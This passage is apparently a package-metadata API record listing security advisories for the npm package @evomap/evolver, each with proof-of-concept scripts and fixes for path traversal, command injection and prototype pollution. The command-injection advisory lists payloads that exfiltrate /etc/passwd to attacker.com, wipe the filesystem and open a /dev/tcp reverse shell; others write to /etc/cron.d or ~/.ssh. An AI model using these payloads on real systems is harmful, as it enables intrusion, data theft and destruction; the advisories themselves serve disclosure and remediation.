`index.js:849-905`:\n\n```bash\ncd /tmp \u0026\u0026 rm -rf evolver-poc-validate \u0026\u0026 mkdir evolver-poc-validate \u0026\u0026 \\\n  cp /path/to/EvoMap-evolver-src/index.js evolver-poc-validate/\ncd evolver-poc-validate\nwc -l index.js                                  # 1098 index.js (legitimate)\n\nnode -e \"\nconst fs=require('fs'),path=require('path');\nconst data={\n  skill_id:'..',\n  content:'x',\n  bundled_files:[{name:'index.js',content:'#!/usr/bin/env node\\nconsole.log(\\\"PWNED\\\");'}]\n};\nconst safeId=String(data.skill_id||'x').replace(/[^a-zA-Z0-9_\\-\\.]/g,'_');\nconst outDir=path.join('.','skills',safeId);\nconsole.log('safeId:',JSON.stringify(safeId));   // '..'\nconsole.log('outDir:',JSON.stringify(outDir));   // '.'\nif(!fs.existsSync(outDir))fs.mkdirSync(outDir,{recursive:true});\nfor(const f of data.bundled_files){\n  const n=path.basename(f.name);\n  fs.writeFileSync(path.join(outDir,n),f.content);\n}\"\n\nwc -l index.js                                  # 1 index.js  (clobbered)\nhead -3 index.js\n# #!/usr/bin/env node\n# console.log(\"PWNED\");\n```\n\nVerified output: 1098 → 1 line; the legitimate evolver entry point is replaced with attacker-controlled JavaScript. Any subsequent `node index.js \u003ccommand\u003e` (including the `--loop` daemon mode that users run continuously) executes the attacker payload.\n\nEnd-to-end attack:\n1. Attacker uploads a skill to the A2A Hub whose stored `skill_id` is `..` (or operates a malicious Hub / MitMs the connection / supplies a malicious `A2A_HUB_URL`).\n2. The malicious response also carries `bundled_files: [{name: 'index.js', content: '\u003cattacker JS\u003e'}]`.\n3. Victim runs `node index.js fetch --skill=anything` from the evolver checkout (the documented usage).\n4. `./index.js` is overwritten in place.\n5. Victim's next `node index.js` invocation — even just `node index.js --help` or the `run --loop` daemon — executes attacker code with the victim's privileges.\n\n## Impact\n\n- **Remote code execution** in the victim's environment with the privileges of the evolver process. Because the loop daemon (`node index.js run --loop`) is the documented long-running mode, the malicious code typically gets executed within seconds of the next iteration.\n- Attacker can also overwrite `package.json` (allowed extension), `SKILL.md`, `.env`-adjacent `.json`/`.yaml`/`.yml` config files, and any whitelisted file already present in the cwd.\n- Trust boundary violation: `evolver fetch` is presented as a *download* operation; users would not expect it to overwrite the application binary or project files. The `--out` branch was hardened against exactly this; the default branch was missed.\n- A single malicious skill upload compromises every user that fetches it.\n\n## Recommended Fix\n\nReject `safeId` values that are not single non-traversing path segments before joining, or reuse the same `path.relative` check used in the `--out` branch. Minimal patch around `index.js:849`:\n\n```js\nconst safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\\-\\.]/g, '_');\nif (\n  safeId === '' ||\n  safeId === '.' ||\n  safeId === '..' ||\n  safeId.includes('/') ||\n  safeId.includes('\\\\') ||\n  safeId.includes('\\0')\n) {\n  console.error('[fetch] Hub returned an invalid skill_id: ' + JSON.stringify(safeId));\n  process.exit(1);\n}\n```\n\nDefense in depth — apply the existing traversal check to the default branch as well:\n\n```js\n} else {\n  const candidate = path.resolve(process.cwd(), 'skills', safeId);\n  const skillsRoot = path.resolve(process.cwd(), 'skills');\n  const rel = path.relative(skillsRoot, candidate);\n  if (rel.startsWith('..') || path.isAbsolute(rel)) {\n    console.error('[fetch] Hub returned a skill_id that escapes the skills/ directory');\n    process.exit(1);\n  }\n  outDir = candidate;\n}\n```\n\nAdditionally, consider:\n- Removing `.` from the regex allow-list (skill IDs typically don't need dots).\n- Verifying a Hub-supplied signature over the response payload before writing any file to disk.\n- Disallowing bundled-file `safeName` values that match top-level project files (`index.js`, `package.json`, `package-lock.json`, etc.) regardless of `outDir`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-05T21:15:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://github.com/EvoMap/evolver/security/advisories/GHSA-cfcj-hqpf-hccf","https://github.com/advisories/GHSA-cfcj-hqpf-hccf"],"source_kind":"github","identifiers":["GHSA-cfcj-hqpf-hccf"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T22:00:08.305Z","updated_at":"2026-05-28T19:01:02.195Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZmNqLWhxcGYtaGNjZs4ABWNL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jZmNqLWhxcGYtaGNjZs4ABWNL","packages":[{"ecosystem":"npm","package_name":"@evomap/evolver","versions":[{"first_patched_version":"1.70.0-beta.5","vulnerable_version_range":"\u003c= 1.70.0-beta.4"}],"purl":"pkg:npm/%40evomap%2Fevolver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZmNqLWhxcGYtaGNjZs4ABWNL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yNDY2LXJ4dzQtM2o5as4ABVqp","url":"https://github.com/advisories/GHSA-r466-rxw4-3j9j","title":"Evolver: Path Traversal via `--out` flag in `fetch` command allows Arbitrary File Write","description":"### Summary\nA path traversal vulnerability in the skill download (`fetch`) command allows attackers to write files to arbitrary locations on the filesystem. The `--out=` flag accepts user-provided paths without validation, enabling directory traversal attacks that can overwrite critical system files or create files in sensitive locations.\n\n### Details\nThe vulnerability exists in `index.js` at lines 752-767:\n\n```javascript\n// index.js:751-768\nconst outFlag = args.find(a =\u003e typeof a === 'string' \u0026\u0026 a.startsWith('--out='));\nconst safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\\-\\.]/g, '_');\n\n// VULNERABLE: No path validation on user input\nconst outDir = outFlag\n  ? outFlag.slice('--out='.length)  // User-controlled path\n  : path.join('.', 'skills', safeId);\n\nif (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true });\n\n// ... downloads skill files to outDir\n```\n\nThe `outFlag.slice('--out='.length)` extracts the user-provided path without any sanitization or validation. An attacker can provide paths like `../../../etc/cron.d` to write files outside the intended directory.\n\nNote: The `safeId` variable is sanitized via inline replacement (`replace(/[^a-zA-Z0-9_\\-\\.]/g, '_')`), but this sanitization only applies to the default path, not to the user-provided `--out=` path.\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to the evolver application\n\n**Steps to reproduce:**\n\n1. Create a test file demonstrating the vulnerability:\n\n```javascript\n// test-file-write.js\nconst fs = require('fs');\nconst path = require('path');\n\n// Simulate the vulnerable fetchSkill logic\nfunction vulnerableFetchSkill(outFlag) {\n  const outDir = outFlag\n    ? outFlag.slice('--out='.length)  // No validation!\n    : path.join('.', 'skills', 'default');\n  \n  console.log('Target directory:', outDir);\n  console.log('Resolved path:', path.resolve(outDir));\n  \n  // In real code, this would write skill files\n  const targetFile = path.join(outDir, 'skill.js');\n  console.log('Would write to:', targetFile);\n  \n  return { outDir, targetFile };\n}\n\n// Test cases\nconsole.log('=== Test 1: Normal path ===');\nvulnerableFetchSkill('--out=./my-skills/test');\n\nconsole.log('\\n=== Test 2: Path traversal ===');\nconst result = vulnerableFetchSkill('--out=../../../tmp/evolver-test');\n\n// Actually demonstrate the vulnerability\nconsole.log('\\n=== Creating directory to prove traversal works ===');\ntry {\n  if (!fs.existsSync(result.outDir)) {\n    fs.mkdirSync(result.outDir, { recursive: true });\n  }\n  fs.writeFileSync(\n    path.join(result.outDir, 'poc.txt'),\n    'Path traversal successful!\\nThis file was written outside the intended directory.'\n  );\n  console.log('SUCCESS: File written to:', path.resolve(result.targetFile));\n} catch (e) {\n  console.log('Error:', e.message);\n}\n```\n\n2. Run the test:\n```bash\nnode test-file-write.js\n```\n\n**Expected output:**\n```\n=== Test 2: Path traversal ===\nTarget directory: ../../../tmp/evolver-test\nResolved path: /tmp/evolver-test\nWould write to: ../../../tmp/evolver-test/skill.js\n\n=== Creating directory to prove traversal works ===\nSUCCESS: File written to: /tmp/evolver-test/poc.txt\n```\n\n**Actual exploit scenario:**\nAn attacker can run:\n```bash\n# Write to system cron directory (requires appropriate permissions)\nnode index.js fetch malicious-skill --out=../../../etc/cron.d\n\n# Or overwrite existing files\nnode index.js fetch existing-skill --out=../../../home/user/.ssh\n```\n\n### Impact\nThis is an **Arbitrary File Write** vulnerability that can lead to:\n- Overwriting critical system files\n- Installing persistent backdoors (e.g., in cron directories)\n- Modifying SSH authorized_keys\n- Overwriting application code or configuration files\n- Privilege escalation if the process runs with elevated privileges\n\n**Affected users:** Anyone using the `fetch` command with the `--out=` flag, especially in automated environments or CI/CD pipelines.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-22T22:06:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","references":["https://github.com/EvoMap/evolver/security/advisories/GHSA-r466-rxw4-3j9j","https://nvd.nist.gov/vuln/detail/CVE-2026-42075","https://github.com/EvoMap/evolver/releases/tag/v1.69.3","https://github.com/advisories/GHSA-r466-rxw4-3j9j"],"source_kind":"github","identifiers":["GHSA-r466-rxw4-3j9j","CVE-2026-42075"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-22T23:00:09.146Z","updated_at":"2026-05-28T19:01:15.401Z","epss_percentage":0.0023,"epss_percentile":0.45658,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNDY2LXJ4dzQtM2o5as4ABVqp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yNDY2LXJ4dzQtM2o5as4ABVqp","packages":[{"ecosystem":"npm","package_name":"@evomap/evolver","versions":[{"first_patched_version":"1.69.3","vulnerable_version_range":"\u003c 1.69.3"}],"purl":"pkg:npm/%40evomap%2Fevolver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNDY2LXJ4dzQtM2o5as4ABVqp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qNXc1LTU2OHgtcnE1M84ABVqo","url":"https://github.com/advisories/GHSA-j5w5-568x-rq53","title":"Evolver: Command Injection via `execSync` in `_extractLLM()` function allows Remote Code Execution","description":"### Summary\nA command injection vulnerability in the `_extractLLM()` function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to `execSync()` without proper sanitization, enabling remote code execution when the `corpus` parameter contains shell metacharacters.\n\n### Details\nThe vulnerability exists in `src/gep/signals.js` at lines 260-274:\n\n```javascript\n// src/gep/signals.js:260-274\nfunction _extractLLM(corpus, nodeSecret, hubUrl) {\n  // ...\n  var url = getHubUrl(hubUrl) + '/gep/extract';\n  var postData = JSON.stringify({ corpus_summary: summary });\n  \n  // VULNERABLE: String concatenation into shell command\n  var curlCmd = 'curl -s -m 10 -X POST'\n    + ' -H \"Content-Type: application/json\"'\n    + ' -H \"Authorization: Bearer ' + nodeSecret + '\"'\n    + ' -d ' + JSON.stringify(postData).replace(/'/g, \"'\\\\''\")\n    + ' ' + JSON.stringify(url);\n\n  // VULNERABLE: Executes shell command\n  stdout = execSync(curlCmd, { timeout: 12000, encoding: 'utf8' });\n  // ...\n}\n```\n\nThe `corpus` parameter is derived from user input (via `userSnippet` in `extractSignals()` function) and flows through to `_extractLLM()` where it becomes part of the shell command. While `JSON.stringify()` escapes some characters, it does not prevent shell command substitution via `$(...)` syntax when the resulting string is passed to `execSync()`.\n\nThe `extractSignals()` function is called from the main evolution loop in `src/gep/evolver.js`, which processes user snippets and session transcripts.\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to the evolver application\n\n**Steps to reproduce:**\n\n1. Create a test file that simulates the vulnerable code path:\n\n```javascript\n// test-command-injection.js\nconst { execSync } = require('child_process');\n\n// Simulate the vulnerable _extractLLM function\nfunction vulnerableExtractLLM(corpus) {\n  const postData = JSON.stringify({ corpus_summary: corpus });\n  const curlCmd = 'curl -s -m 10 -X POST'\n    + ' -H \"Content-Type: application/json\"'\n    + ' -d ' + JSON.stringify(postData).replace(/'/g, \"'\\\\''\")\n    + ' http://localhost/test';\n  \n  console.log('Command that would be executed:');\n  console.log(curlCmd);\n  console.log('\\n--- Testing command substitution ---');\n  \n  // Demonstrate that command substitution works\n  const testCmd = 'echo ' + JSON.stringify('$(id)');\n  console.log('\\nTest with echo:');\n  console.log(execSync(testCmd, { encoding: 'utf8' }));\n}\n\n// Payload with command injection\nconst maliciousCorpus = '$(touch /tmp/pwned)';\nvulnerableExtractLLM(maliciousCorpus);\n```\n\n2. Run the test:\n```bash\nnode test-command-injection.js\n```\n\n**Expected result:** The command substitution `$(id)` is executed by the shell, demonstrating that the same technique could be used with `curl` to execute arbitrary commands.\n\n**Actual exploit scenario:**\nIf an attacker can control the `userSnippet` parameter that flows into `extractSignals()` (e.g., via compromised log files or malicious user input), they can inject shell commands like:\n- `$(curl attacker.com/exfil?data=$(cat /etc/passwd))`\n- `$(rm -rf /)`\n- `$(bash -i \u003e\u0026 /dev/tcp/attacker.com/4444 0\u003e\u00261)`\n\n### Impact\nThis is a **Remote Code Execution (RCE)** vulnerability. An attacker who can control input to the `extractSignals()` function (whether through compromised log files, malicious user input, or other vectors) can execute arbitrary shell commands with the privileges of the Node.js process. This could lead to:\n- Full system compromise\n- Data exfiltration\n- Installation of malware/backdoors\n- Lateral movement within the network\n\n**Affected users:** Anyone running the evolver with the GEP (Genetic Evolution Protocol) enabled and processing user-provided content.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-04-22T22:06:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/EvoMap/evolver/security/advisories/GHSA-j5w5-568x-rq53","https://nvd.nist.gov/vuln/detail/CVE-2026-42076","https://github.com/EvoMap/evolver/releases/tag/v1.69.3","https://github.com/advisories/GHSA-j5w5-568x-rq53"],"source_kind":"github","identifiers":["GHSA-j5w5-568x-rq53","CVE-2026-42076"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-22T23:00:09.146Z","updated_at":"2026-05-28T19:01:15.402Z","epss_percentage":0.00562,"epss_percentile":0.68532,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNXc1LTU2OHgtcnE1M84ABVqo","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qNXc1LTU2OHgtcnE1M84ABVqo","packages":[{"ecosystem":"npm","package_name":"@evomap/evolver","versions":[{"first_patched_version":"1.69.3","vulnerable_version_range":"\u003c 1.69.3"}],"purl":"pkg:npm/%40evomap%2Fevolver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNXc1LTU2OHgtcnE1M84ABVqo/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yY2pyLTV2M2gtdjJ3NM4ABVqn","url":"https://github.com/advisories/GHSA-2cjr-5v3h-v2w4","title":"Evolver has Prototype Pollution via `Object.assign()` in its mailbox store operations","description":"### Summary\nA prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into `Object.prototype`. The vulnerability exists in the `_applyUpdate()` and `_updateRecord()` functions which use `Object.assign()` to merge user-controlled data without filtering dangerous keys like `__proto__`, `constructor`, or `prototype`.\n\n### Details\nThe vulnerability exists in `src/proxy/mailbox/store.js` at lines 123 and 145:\n\n```javascript\n// src/proxy/mailbox/store.js:115-128\n_applyUpdate(row) {\n  if (row._op === 'update') {\n    const existing = this._index[row.id];\n    // VULNERABLE: Direct Object.assign without key filtering\n    if (existing) Object.assign(existing, row.fields);\n    else this._index[row.id] = row.fields;\n  }\n  // ...\n}\n\n// src/proxy/mailbox/store.js:138-150\n_updateRecord(id, fields) {\n  const existing = this._index[id];\n  // VULNERABLE: Direct Object.assign without key filtering\n  if (existing) Object.assign(existing, fields);\n  // ...\n}\n```\n\nThe vulnerability can be triggered when an attacker has the ability to write to the `messages.jsonl` file (used for mailbox persistence). By crafting a malicious JSONL entry with `__proto__` as a field key, the attacker can pollute the prototype of all objects.\n\nThe data flows from:\n1. `messages.jsonl` file → \n2. `readLines()` function (line 47) → \n3. `_rebuildIndex()` (line 113) → `_applyUpdate()` (line 121) → \n4. `Object.assign()` pollutes prototype\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to write to the mailbox messages file\n\n**Steps to reproduce:**\n\n1. Create a test file demonstrating the vulnerability:\n\n```javascript\n// test-prototype-pollution.js\nconst fs = require('fs');\nconst path = require('path');\n\n// Simulate the vulnerable Store class logic\nclass VulnerableStore {\n  constructor(filePath) {\n    this.filePath = filePath;\n    this._index = {};\n  }\n\n  load() {\n    if (!fs.existsSync(this.filePath)) return;\n    const lines = fs.readFileSync(this.filePath, 'utf8').split('\\n');\n    for (const line of lines) {\n      if (!line.trim()) continue;\n      try {\n        const row = JSON.parse(line);\n        this._applyUpdate(row);\n      } catch (e) {\n        // Ignore parse errors\n      }\n    }\n  }\n\n  _applyUpdate(row) {\n    if (row._op === 'update') {\n      const existing = this._index[row.id];\n      // VULNERABLE: No filtering of dangerous keys\n      if (existing) Object.assign(existing, row.fields);\n      else this._index[row.id] = row.fields;\n    }\n  }\n\n  update(id, fields) {\n    this._updateRecord(id, fields);\n  }\n\n  _updateRecord(id, fields) {\n    const existing = this._index[id];\n    // VULNERABLE: No filtering of dangerous keys\n    if (existing) Object.assign(existing, fields);\n    else this._index[id] = fields;\n  }\n}\n\n// Test the vulnerability\nconsole.log('=== Testing Prototype Pollution ===\\n');\n\n// Create a malicious messages.jsonl file\nconst maliciousContent = JSON.stringify({\n  _op: 'update',\n  id: 'msg-123',\n  fields: {\n    __proto__: {\n      polluted: true,\n      isAdmin: true\n    },\n    normalField: 'normalValue'\n  }\n}) + '\\n';\n\nconst testDir = '/tmp/evolver-pollution-test';\nif (!fs.existsSync(testDir)) fs.mkdirSync(testDir, { recursive: true });\nconst testFile = path.join(testDir, 'messages.jsonl');\n\nfs.writeFileSync(testFile, maliciousContent);\nconsole.log('Created malicious messages.jsonl');\n\n// Load the store (this triggers the vulnerability)\nconst store = new VulnerableStore(testFile);\nstore.load();\n\n// Check if prototype was polluted\nconsole.log('\\n=== Checking for prototype pollution ===');\nconst testObj = {};\nconsole.log('testObj.polluted:', testObj.polluted);\nconsole.log('testObj.isAdmin:', testObj.isAdmin);\n\nif (testObj.polluted === true) {\n  console.log('\\n🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!');\n  console.log('All objects now have \"polluted\" and \"isAdmin\" properties.');\n} else {\n  console.log('\\n🟡 Prototype pollution may require different payload structure');\n}\n\n// Demonstrate impact - bypassing authentication check\nconsole.log('\\n=== Impact Demonstration ===');\nfunction checkAdmin(user) {\n  // Typical pattern that would be vulnerable\n  if (user.isAdmin) {\n    return 'Access granted - Admin privileges';\n  }\n  return 'Access denied';\n}\n\nconst regularUser = { name: 'normal_user' };\nconsole.log('Regular user check:', checkAdmin(regularUser));\n\n// Cleanup\nfs.rmSync(testDir, { recursive: true });\n```\n\n2. Run the test:\n```bash\nnode test-prototype-pollution.js\n```\n\n**Expected output:**\n```\n=== Checking for prototype pollution ===\ntestObj.polluted: true\ntestObj.isAdmin: true\n\n🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!\nAll objects now have \"polluted\" and \"isAdmin\" properties.\n\n=== Impact Demonstration ===\nRegular user check: Access granted - Admin privileges\n```\n\n**Note:** Modern Node.js versions have some prototype pollution protections. For a successful exploit, the attacker might need to use alternative property paths like `constructor.prototype.isAdmin`.\n\n**Attack scenario:**\nIf an attacker can write to the mailbox messages file (e.g., through file upload, path traversal, or compromised backup restore), they can:\n```jsonl\n{\"_op\":\"update\",\"id\":\"malicious\",\"fields\":{\"__proto__\":{\"isAdmin\":true,\"canExecuteArbitraryCode\":true}}}\n```\n\n### Impact\nThis is a **Prototype Pollution** vulnerability that can lead to:\n- Property injection affecting all JavaScript objects\n- Authentication/authorization bypass\n- Application logic manipulation\n- Denial of service via prototype corruption\n- Potential remote code execution if polluted properties affect security-critical code paths\n\n**Attack requirements:** The attacker needs write access to the `messages.jsonl` file. This could be achieved through:\n- File upload vulnerabilities\n- Path traversal (combined with the Arbitrary File Write vulnerability in the fetch command)\n- Compromised backup files\n- Shared hosting environments\n\n**Affected users:** Anyone using the mailbox functionality in multi-user environments or with persistent message storage.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-22T22:05:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.2,"cvss_vector":"CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H","references":["https://github.com/EvoMap/evolver/security/advisories/GHSA-2cjr-5v3h-v2w4","https://nvd.nist.gov/vuln/detail/CVE-2026-42077","https://github.com/EvoMap/evolver/releases/tag/v1.69.3","https://github.com/advisories/GHSA-2cjr-5v3h-v2w4"],"source_kind":"github","identifiers":["GHSA-2cjr-5v3h-v2w4","CVE-2026-42077"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-22T23:00:09.146Z","updated_at":"2026-05-28T19:01:15.402Z","epss_percentage":0.00018,"epss_percentile":0.05103,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yY2pyLTV2M2gtdjJ3NM4ABVqn","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yY2pyLTV2M2gtdjJ3NM4ABVqn","packages":[{"ecosystem":"npm","package_name":"@evomap/evolver","versions":[{"first_patched_version":"1.69.3","vulnerable_version_range":"\u003c 1.69.3"}],"purl":"pkg:npm/%40evomap%2Fevolver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yY2pyLTV2M2gtdjJ3NM4ABVqn/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/@evomap/evolver","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/@evomap/evolver","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/@evomap/evolver/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-27T01:13:58.631Z","issues_count":24,"pull_requests_count":10,"avg_time_to_close_issue":137991.0,"avg_time_to_close_pull_request":36642.28571428572,"issues_closed_count":9,"pull_requests_closed_count":7,"pull_request_authors_count":7,"issue_authors_count":16,"avg_comments_per_issue":6.25,"avg_comments_per_pull_request":0.7,"merged_pull_requests_count":2,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":24,"past_year_pull_requests_count":10,"past_year_avg_time_to_close_issue":137991.0,"past_year_avg_time_to_close_pull_request":36642.28571428572,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":7,"past_year_pull_request_authors_count":7,"past_year_issue_authors_count":16,"past_year_avg_comments_per_issue":6.25,"past_year_avg_comments_per_pull_request":0.7,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":2,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/EvoMap%2Fevolver/issues","maintainers":[{"login":"autogame-17","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/autogame-17"}],"active_maintainers":[{"login":"autogame-17","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/autogame-17"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@evomap%2Fevolver/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@evomap%2Fevolver/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@evomap%2Fevolver/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@evomap%2Fevolver/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@evomap%2Fevolver/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@evomap%2Fevolver/codemeta","maintainers":[{"uuid":"autogame-17","login":"autogame-17","name":null,"email":"admin@evomap.ai","url":null,"packages_count":5,"html_url":"https://www.npmjs.com/~autogame-17","role":null,"created_at":"2026-03-11T00:14:43.837Z","updated_at":"2026-03-11T00:14:43.837Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/autogame-17/packages"}]}